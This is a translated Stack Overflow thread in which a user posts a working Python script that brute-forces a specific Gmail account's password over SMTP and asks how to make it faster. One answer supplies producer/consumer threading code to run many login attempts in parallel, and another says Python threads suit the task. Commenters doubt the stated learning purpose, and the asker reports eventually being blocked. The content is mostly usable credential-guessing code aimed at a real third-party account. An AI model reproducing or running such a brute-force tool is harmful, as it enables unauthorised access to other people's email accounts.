【问题标题】:How to make this function faster using threads?如何使用线程使此功能更快?
【发布时间】:2012-06-18 21:30:43
【问题描述】:

我花了很多时间为 gmail 制作这个暴力破解程序:

import smtplib
from itertools import permutations
import string
import time
import os
from datetime import datetime
allC=["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"]
num=1
allP=len(allC)**num
sumt=0
procent=0
while True:
   for i in permutations(allC, num):
      try :
          i="".join(i)
          server = smtplib.SMTP('smtp.gmail.com',587) 
          server.ehlo()
          server.starttls()
          server.ehlo()
          server.login('raslav.milutinovic@gmail.com',i)
          print str(datetime.now())
          print i
          break
          server.close()     
      except Exception,e:
          if 'Errno 11001' in e:
               input()
          pass
    sumt=sumt+1.00001
    procent=sumt/allP*100
    print "Level :",num
    print "Procent :",int(procent)



   num=num+1
   procent=0
   sumt=0
   allP=len(allC)**num

注意:缩进可能不正确 但它非常慢=每小时 5000 次尝试

我怎样才能使用线程来测试更多而不是一个等时间? 而且我也不打算用它来作恶...... 只是一个简单的学习项目

【问题讨论】:

  • Gmail 不会让你每小时尝试超过 5000 次(我很惊讶他们甚至允许 这个 率)。
  • 大声笑:“缩进可能不正确”如何让它们正确而不是让我们猜测您的代码是什么样的?
  • "...gmail 的暴力破解程序..." "...我不会用它来作恶..." 嗯嗯。
  • @RussellBorogove - 如果你检查一下逻辑,你会感觉更好。
  • @RussellBorogove 哦,停下来

标签: python multithreading performance gmail


【解决方案1】:

创建一个使用排列填充列表的生成器线程和从列表中获取值并测试它的多个其他线程:

from time import sleep
from threading import Thread
queue = []
done = False
num_consumers = 10

def generate():
    #the generator - fill queue with values and set a flag when done
    global queue, done
    for val in permutations(allc, num):
        if len(queue) > 100:
            sleep(0.5)
            continue
        queue.append(val)
    done = True

def consume():
    #the consumer - get a value from the queue and try to login
    global queue, done
    while queue or not done:
        if len(queue) == 0:
            sleep(0.05)
            continue
        try_login(queue.pop())

#create a generator and multiple consumer threads with the respective fcts
generator = Thread(target=generate)
consumers = [Thread(target=consume) for _ in range(num_consumers)]
#start the consumers and the generator
[c.start() for c in consumers]
generator.start()

这不是一个完整的方法 - 例如 queue.pop() 可能应该包含在 try 语句中,因为尽管检查了线程是否在 if 之后但在 pop 之前切换,但列表仍然可以是空的,你'd 还需要优化睡眠值和消费者数量等。但最重要的是,它不会让你在黑客攻击 gmail 方面走得太远——这应该是蛮力不可能的,因为他们正在部署验证码、IP 禁令和经过太多失败的尝试后的其他好东西。你最好的方法是社会工程:)

【讨论】:

  • 我尝试了一天(20 000)次尝试。他们什么也没做。
  • 啊,我没有看到您尝试通过 SMTP 登录...通过 http 在第三次错误尝试后您将获得验证码,这当然是 SMTP 不可能的。我仍然猜想你会在 20k 次尝试之前被禁止,但也许这仍然不足以被认为是重要的......
  • 是的,你说的对。他们确实阻止了我,但这仍然是一个有趣的例子。
【解决方案2】:

这是 Python 的线程擅长的任务之一。

只要网络代码被阻塞,其他线程就会开始运行。 SO 上已经有帖子展示了如何以类似的方式将 urllib 与线程一起使用。

【讨论】:

    猜你喜欢
    • 2011-10-07
    • 1970-01-01
    • 1970-01-01
    • 2014-11-14
    • 2015-01-16
    • 1970-01-01
    • 1970-01-01
    • 2015-01-13
    • 1970-01-01
    相关资源
    最近更新 更多